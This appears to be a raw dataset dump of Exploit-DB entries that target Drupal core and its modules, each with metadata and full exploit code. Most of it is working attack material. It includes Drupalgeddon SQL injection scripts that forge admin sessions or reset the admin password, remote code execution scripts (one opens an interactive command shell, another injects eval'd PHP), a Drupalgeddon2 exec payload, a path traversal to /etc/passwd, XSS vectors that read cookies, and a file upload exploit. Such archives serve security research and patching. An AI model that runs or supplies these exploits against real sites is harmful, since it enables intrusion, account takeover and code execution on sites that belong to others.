deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44355
Description: Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Session)
Type: webapps
Platform: php
Date: 2014-11-03
Author: Stefan Horst

Exploit:
<?php
//    _____      __   __  _             _______
//   / ___/___  / /__/ /_(_)___  ____  / ____(_)___  _____
//   \__ \/ _ \/ //_/ __/ / __ \/ __ \/ __/ / / __ \/ ___/
//  ___/ /  __/ ,< / /_/ / /_/ / / / / /___/ / / / (__  )
// /____/\___/_/|_|\__/_/\____/_/ /_/_____/_/_/ /_/____/
// Poc for Drupal Pre Auth SQL Injection - (c) 2014 SektionEins
//
// created by Stefan Horst <stefan.horst@sektioneins.de>
//·

include 'common.inc';
include 'password.inc';

// set values
$user_name = 'admin';

$url = isset($argv[1])?$argv[1]:'';
$user_id = isset($argv[2])?intval($argv[2]):1;

if ($url == '-h') {
      echo "usage:\n";
      echo $argv[0].' $url [$user_id]'."\n";
      die();
}

if (empty($url) || strpos($url,'https') === False) {
      echo "please state the cookie url. It works only with https urls.\n";
      die();
}

if (strpos($url, 'www.') === 0) {
      $url = substr($url, 4);
}

$url = rtrim($url,'/');

list( , $session_name) = explode('://', $url, 2);

// use insecure cookie with sql inj.
$cookieName = 'SESS' . substr(hash('sha256', $session_name), 0, 32);
$password = user_hash_password('test');

$session_id = drupal_random_key();
$sec_ssid = drupal_random_key();

$inject = "UNION SELECT $user_id,'$user_name','$password','','','',null,0,0,0,1,null,'',0,'',null,$user_id,'$session_id','','127.0.0.1',0,0,null -- ";

$cookie = $cookieName.'[test+'.urlencode($inject).']='.$session_id.'; '.$cookieName.'[test]='.$session_id.'; S'.$cookieName.'='.$sec_ssid;

// send the request to the server
$ch = curl_init($url);

curl_setopt($ch,CURLOPT_HEADER,True);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,True);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,False);
curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0');

curl_setopt($ch,CURLOPT_HTTPHEADER,array(
      'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
      'Accept-Language: en-US,en;q=0.5'
));

curl_setopt($ch,CURLOPT_COOKIE,$cookie);

$output = curl_exec($ch);

curl_close($ch);

echo "Session with this ID created:\n";
echo "S".$cookieName.": ".$sec_ssid;
Exploit-DB #34984
Description: Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (1)
Type: webapps
Platform: php
Date: 2014-10-16
Author: stopstene

Exploit:
# Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
# Creditz to https://www.reddit.com/user/fyukyuk
# EDB Note ~ Updated version: https://github.com/kenorb/drupageddon/blob/master/drupal_7.x_sql_injection_sa-core-2014-005.py

import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)
Exploit-DB #34993
Description: Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (2)
Type: webapps
Platform: php
Date: 2014-10-17
Author: Dustin Dörr

Exploit:
<?php
#-----------------------------------------------------------------------------#
# Exploit Title: Drupal core 7.x - SQL Injection                              #
# Date: Oct 16 2014                                                           #
# Exploit Author: Dustin Dörr                                                 #
# Software Link: http://www.drupal.com/                                       #
# Version: Drupal core 7.x versions prior to 7.32                             #
# CVE: CVE-2014-3704                                                          #
#-----------------------------------------------------------------------------#

$url = 'http://www.example.com';
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}
?>
Exploit-DB #35150
Description: Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution)
Type: webapps
Platform: php
Date: 2014-11-03
Author: Stefan Horst

Exploit:
<?php
//    _____      __   __  _             _______
//   / ___/___  / /__/ /_(_)___  ____  / ____(_)___  _____
//   \__ \/ _ \/ //_/ __/ / __ \/ __ \/ __/ / / __ \/ ___/
//  ___/ /  __/ ,< / /_/ / /_/ / / / / /___/ / / / (__  )
// /____/\___/_/|_|\__/_/\____/_/ /_/_____/_/_/ /_/____/
// Poc for Drupal Pre Auth SQL Injection - (c) 2014 SektionEins
//
// created by Stefan Horst <stefan.horst@sektioneins.de>
//        and Stefan Esser <stefan.esser@sektioneins.de>
//·

include 'common.inc';
include 'password.inc';

// set values
$user_id = 0;
$user_name = '';

$code_inject = 'phpinfo();session_destroy();die("");';

$url = isset($argv[1])?$argv[1]:'';
$code = isset($argv[2])?$argv[2]:'';

if ($url == '-h') {
      echo "usage:\n";
      echo $argv[0].' $url [$code|$file]'."\n";
      die();
}

if (empty($url) || strpos($url,'https') === False) {
      echo "please state the cookie url. It works only with https urls.\n";
      die();
}

if (!empty($code)) {
      if (is_file($code)) {
              $code_inject = str_replace('<'.'?','',str_replace('<'.'?php','',str_replace('?'.'>','',file_get_contents($code))));
      } else {
              $code_inject = $code;
      }
}

$code_inject = rtrim($code_inject,';');
$code_inject .= ';session_destroy();die("");';

if (strpos($url, 'www.') === 0) {
      $url = substr($url, 4);
}

$_SESSION= array('a'=>'eval(base64_decode("'.base64_encode($code_inject).'"))','build_info' => array(), 'wrapper_callback' => 'form_execute_handlers', '#Array' => array('array_filter'), 'string' => 'assert');
$_SESSION['build_info']['args'][0] = &$_SESSION['string'];

list( , $session_name) = explode('://', $url, 2);

// use insecure cookie with sql inj.
$cookieName = 'SESS' . substr(hash('sha256', $session_name), 0, 32);
$password = user_hash_password('test');

$session_id = drupal_random_key();
$sec_ssid = drupal_random_key();

$serial = str_replace('}','CURLYCLOSE',str_replace('{','CURLYOPEN',"batch_form_state|".serialize($_SESSION)));
$inject = "UNION SELECT $user_id,'$user_name','$password','','','',null,0,0,0,1,null,'',0,'',null,$user_id,'$session_id','','127.0.0.1',0,0,REPLACE(REPLACE('".$serial."','CURLYCLOSE',CHAR(".ord('}').")),'CURLYOPEN',CHAR(".ord('{').")) -- ";

$cookie = $cookieName.'[test+'.urlencode($inject).']='.$session_id.'; '.$cookieName.'[test]='.$session_id.'; S'.$cookieName.'='.$sec_ssid;

$ch = curl_init($url);

curl_setopt($ch,CURLOPT_HEADER,True);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,True);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,False);
curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0');

curl_setopt($ch,CURLOPT_HTTPHEADER,array(
      'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
      'Accept-Language: en-US,en;q=0.5'
));

curl_setopt($ch,CURLOPT_COOKIE,$cookie);

$output = curl_exec($ch);

curl_close($ch);

echo $output;
Exploit-DB #3313
Description: Drupal < 4.7.6 - Post Comments Remote Command Execution
Type: webapps
Platform: php
Date: 2007-02-15
Author: str0ke

Exploit:
#!/usr/bin/perl

#
# $Id: milw0rm_drupalv4.pl,v 0.2 2007/02/15 13:28:29 str0ke Exp $
# 
# milw0rm_drupalv4.pl - Drupal < 4.7.6 Remote Command Execution Exploit
# Copyright (c) 2007 str0ke <str0ke[!]milw0rm.com>
# 
# Description
# -----------
# Previews on comments were not passed through normal form validation routines,
# enabling users with the 'post comments' permission and access to more than one
# input filter to execute arbitrary code. By default, anonymous and authenticated
# users have access to only one input format.
# Immediate workarounds include: disabling the comment module, revoking the 'post 
# comments' permission for all users or limiting access to one input format.
# Versions affected
# -----------------
# - Drupal 4.7.x versions before Drupal 4.7.6
#
# [02/15/2007] The exploit has been fixed. /str0ke
#

use strict;
use LWP::UserAgent;

my $host  = shift || &usage;
my $dir   = shift || "/drupal";
my $proxy = shift;
my $command;

my $conn = LWP::UserAgent->new();
$conn -> proxy("http", "http://".$proxy."/") unless !$proxy;

sub usage() 
{
	print "[?] Drupal < 4.7.6 Remote Command Execution Exploit\n";
	print "[?] Copyright (c) 2007 str0ke <str0ke[!]milw0rm.com>\n";
	print "[?] usage: perl $0 [host] [directory] [proxy]\n";
	print "    [host] (ex. www.milw0rm.com)\n";
	print "    [directory] (ex. /drupal)\n";
	print "    [proxy] (ex. 0.0.0.0:8080)\n";
	exit;
}

sub exploit() 
{
	my $i = $_[0];
	my $command = $_[1] || 'ls -l';
	my $cmd     = 'echo start_er;'.$command.';'.'echo end_er';

	my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
	
	my $req = HTTP::Request->new(POST => "http://" . $host . $dir . "/?q=comment/reply/".$i);
	$req -> content_type('application/x-www-form-urlencoded');
	$req -> content('edit[subject]=My daddy beats me&edit[comment]=<?passthru('.$byte.');?>&edit[format]=2&edit[form_id]=comment_form&op=Preview comment');

	my $content = $conn->request($req);

	if ($content->content =~ m/start_er(.*?)end_er/ms) {
		my $out = $1;

		if ($out) {
			print "$out\n";
		} else {
			print "[-] Exploit Failed...\n";
			exit;
		}	
	}	
}

for my $i ( 1 .. 400 ) {
	my $output = $conn -> get("http://" . $host . $dir . "/?q=comment/reply/" . $i);

	if($output -> is_success)
	{
		if($output -> content =~ /add new comment/)
		{
			print "[+] found comment/reply: $i\n";

			&exploit($i);
			
			while()
			{
				print "str0kin-drupal\$ ";
				chomp($command = <STDIN>);
				exit unless $command;
				&exploit($i, $command);
			}
			exit;
		}
	}
}

print "[-] Exploit Failed...\n";

# milw0rm.com [2007-02-15]
Exploit-DB #3312
Description: Drupal < 5.1 - Post Comments Remote Command Execution
Type: webapps
Platform: php
Date: 2007-02-15
Author: str0ke

Exploit:
#!/usr/bin/perl

#
# $Id: milw0rm_drupalv5.pl,v 0.2 2007/02/15 13:40:29 str0ke Exp $
# 
# milw0rm_drupalv5.pl - Drupal < 5.1 Remote Command Execution Exploit
# Copyright (c) 2007 str0ke <str0ke[!]milw0rm.com>
# 
# Description
# -----------
# Previews on comments were not passed through normal form validation routines,
# enabling users with the 'post comments' permission and access to more than one
# input filter to execute arbitrary code. By default, anonymous and authenticated
# users have access to only one input format.
# Immediate workarounds include: disabling the comment module, revoking the 'post 
# comments' permission for all users or limiting access to one input format.
# Versions affected
# -----------------
# - Drupal 5.x versions before Drupal 5.1
#
# [02/15/2007] The exploit has been fixed. /str0ke
#

use strict;
use LWP::UserAgent;

my $host  = shift || &usage;
my $dir   = shift || "/drupal";
my $proxy = shift;
my $command;

my $conn = LWP::UserAgent->new();
$conn -> proxy("http", "http://".$proxy."/") unless !$proxy;

sub usage() 
{
	print "[?] Drupal < 5.1 Remote Command Execution Exploit\n";
	print "[?] Copyright (c) 2007 str0ke <str0ke[!]milw0rm.com>\n";
	print "[?] usage: perl $0 [host] [directory] [proxy]\n";
	print "    [host] (ex. www.milw0rm.com)\n";
	print "    [directory] (ex. /drupal)\n";
	print "    [proxy] (ex. 0.0.0.0:8080)\n";
	exit;
}

sub exploit() 
{
	my $i = $_[0];
	my $command = $_[1] || 'ls -l';
	my $cmd     = 'echo start_er;'.$command.';'.'echo end_er';

	my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
	
	my $req = HTTP::Request->new(POST => "http://" . $host . $dir . "/?q=comment/reply/" . $i);
	$req -> content_type('application/x-www-form-urlencoded');
	$req -> content('subject=My daddy beats me&comment=<?passthru('.$byte.');?>&format=2&form_id=comment_form&op=Preview comment');

	my $content = $conn->request($req);
	
	if ($content->content =~ m/start_er(.*?)end_er/ms) {
		my $out = $1;

		if ($out) {
			print "$out\n";
		} else {
			print "[-] Exploit Failed...\n";
			exit;
		}	
	}	
}

for my $i ( 1 .. 400 ) {
	my $output = $conn -> get("http://" . $host . $dir . "/?q=comment/reply/" . $i);

	if($output -> is_success)
	{
		if($output -> content =~ /add new comment/)
		{
			print "[+] found comment/reply: $i\n";

			&exploit($i);
			
			while()
			{
				print "str0kin-drupal\$ ";
				chomp($command = <STDIN>);
				exit unless $command;
				&exploit($i, $command);
			}
			exit;
		}
	}
}

print "[-] Exploit Failed...\n";

# milw0rm.com [2007-02-15]
Exploit-DB #33706
Description: Drupal < 5.22/6.16 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-04
Author: David Rothstein

Exploit:
source: https://www.securityfocus.com/bid/38545/info

Drupal is prone to multiple vulnerabilities, including cross-site scripting issues, a phishing issue, and a security-bypass issue.

An attacker may leverage these issues to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, bypass security restrictions, or perform other attacks.

These issues affect the following:

Drupal 5.x prior to 5.22
Drupal 6.x prior to 6.16

The following example URI is available for the redirect issue:

http://www.example.com/drupal-6.16/index.php?q=http://www.example.net
Exploit-DB #44542
Description: Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)
Type: webapps
Platform: php
Date: 2018-04-25
Author: Blaklis

Exploit:
This is a sample of exploit for Drupal 7 new vulnerability SA-CORE-2018-004 / CVE-2018-7602.

You must be authenticated and with the power of deleting a node. Some other forms may be vulnerable : at least, all of forms that is in 2-step (form then confirm).

POST /?q=node/99/delete&destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami HTTP/1.1
[...]
form_id=node_delete_confirm&_triggering_element_name=form_id&form_token=[CSRF-TOKEN]

Retrieve the form_build_id from the response, and then triggering the exploit with : 

POST /drupal/?q=file/ajax/actions/cancel/%23options/path/[FORM_BUILD_ID] HTTP/1.1
[...]
form_build_id=[FORM_BUILD_ID]

This will display the result of the whoami command.

Patch your systems!
Blaklis
Exploit-DB #44448
Description: Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC)
Type: webapps
Platform: php
Date: 2018-04-13
Author: Vitalii Rudnykh

Exploit:
#!/usr/bin/env
import sys
import requests

print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')

target = input('Enter target url (example: https://domain.ltd/): ')

# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
# 
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}

r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt')
if check.status_code != 200:
  sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')
Exploit-DB #44501
Description: Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure
Type: webapps
Platform: php
Date: 2018-04-23
Author: Larry W. Cashdollar

Exploit:
#Title: Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure
#Author: Larry W. Cashdollar
#Date: 2018-03-30
#CVE-ID: CVE-2018-9205
#Download Site: https://www.drupal.org/project/avatar_uploader
#Vendor: https://www.drupal.org/u/robbinzhao
#Vendor Notified: 2018-04-02
#Vendor Contact: https://www.drupal.org/project/avatar_uploader/issues/2957966#comment-12554146
#Advisory: http://www.vapidlabs.com/advisory.php?v=202

#Description: This module used Simple Ajax Uploader, and provide a basic uploader panel, for more effect, you can do your custom javascript. Such as, users' mouse hover on avatar, the edit link will slideup, or others.
#Vulnerability:
#The view.php contains code to retrieve files but no code to verify a user should be able to view files or keep them from changing the path to outside of the uploadDir directory:

<?php

$file = $_GET['file'];

echo file_get_contents("uploadDir/$file");
exit;

Exploit Code:
http://example.com/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd
Exploit-DB #50841
Description: Drupal avatar_uploader v7.x-1.0-beta8 - Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-03-30
Author: Milad karimi

Exploit:
# Exploit Title: Drupal avatar_uploader v7.x-1.0-beta8 - Cross Site Scripting (XSS)
# Date: 2022-03-22
# Author: Milad karimi
# Software Link: https://www.drupal.org/project/avatar_uploader
# Version: v7.x-1.0-beta8
# Tested on: Windows 10
# CVE: N/A

1. Description:
This plugin creates a avatar_uploader from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.

2. Proof of Concept:
http://$target/avatar_uploader.pages.inc?file=<script>alert("test")</script>
Exploit-DB #32415
Description: Drupal Module Ajax Checklist 5.x-1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-09-24
Author: Justin C. Klein Keane

Exploit:
source: https://www.securityfocus.com/bid/31384/info

The Ajax Checklist module for Drupal is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in SQL queries.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect versions prior to Ajax Checklist 5.x-1.1. 

http://www.example.com/ajaxchecklist/save/1/2%27,2),(3,3,(select%20pass%20f
rom%20users%20where%20uid=1),3),(4,4,%274/3/4
Exploit-DB #25493
Description: Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-05-17
Author: r0ng

Exploit:
# Exploit Title: Persistent XSS in wysiwyg CKEditor <4.1 Drupal 6.x & 7.x
# Date: 15/05/2013
# Exploit Author: r0ng
# Vendor Homepage: http://www.websitesecurityscan.net, http://www.hackers2devnull.blogspot.co.uk
# Software Links: http://ckeditor.com/release/CKEditor-4.0.3, http://drupal.org/download
# Version: CKEditor <4.1, wysiwyg (all versions), Drupal 6.x and 7.x
# Tested on: Firefox 21, IE 10, Chrome (v.26 now blocks it, unsure when this change was implemented)
# Sites affected: approximately 180,000 drupal sites use ckeditor (http://drupal.org/project/usage/ckeditor)

# Configuration:
# -Default installation of Drupal 6.x and 7.x
# -Default input filters (filtered HTML, disable rich text)

[+] Vulnerability:

By posting the following vector into a comment or a content post, a hidden iframe executes unrestricted javascript when viewed in edit mode (document.cookie is accessible). The attack vector is concealed when viewing the post normally and can be exploited by persuading the admin to edit a user's post or by them following a direct link, e.g.: http://website/node/4/edit.


[+] Vector - hidden iframe with URL encoded script tags

<iframe src="data:text/html; charset=utf-8,%3cscript%3ealert(document.cookie);%3c/script%3e" width="1" height="1" frameborder="0"></iframe>


[+] Disclosure and Fix:

This was disclosed to Drupal on 20/01/13, and was fixed with the release of ckeditor 4.1 (21/03/13).
Exploit-DB #35397
Description: Drupal Module Cumulus 5.x-1.1/6.x-1.4 - 'tagcloud' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-23
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/46594/info

The Cumulus module for Drupal is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Cumulus 6.x-1.4 and 5.x-1.1 are vulnerable. 

http://www.example.com/modules/cumulus/cumulus.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E
Exploit-DB #37453
Description: Drupal Module Drag & Drop Gallery 6.x-1.5 - 'upload.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-25
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54179/info

Drag & Drop Gallery is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Drag & Drop Gallery 6.X-1.5 is vulnerable; other versions may also be affected. 

<?php

$uploadfile="db.php.gif";
$uploadfile2="lo.php.gif";

$ch = curl_init("http://www.example.com/drupal/sites/all/modules/dragdrop_gallery/upload.php?nid=1&filedir=/drupal/sites/all/modules/dragdrop_gallery/");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS, array('user_file[0]'=>"@$uploadfile",
                                            'user_file[1]'=>"@$uploadfile2"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
   
print "$postResult";

?>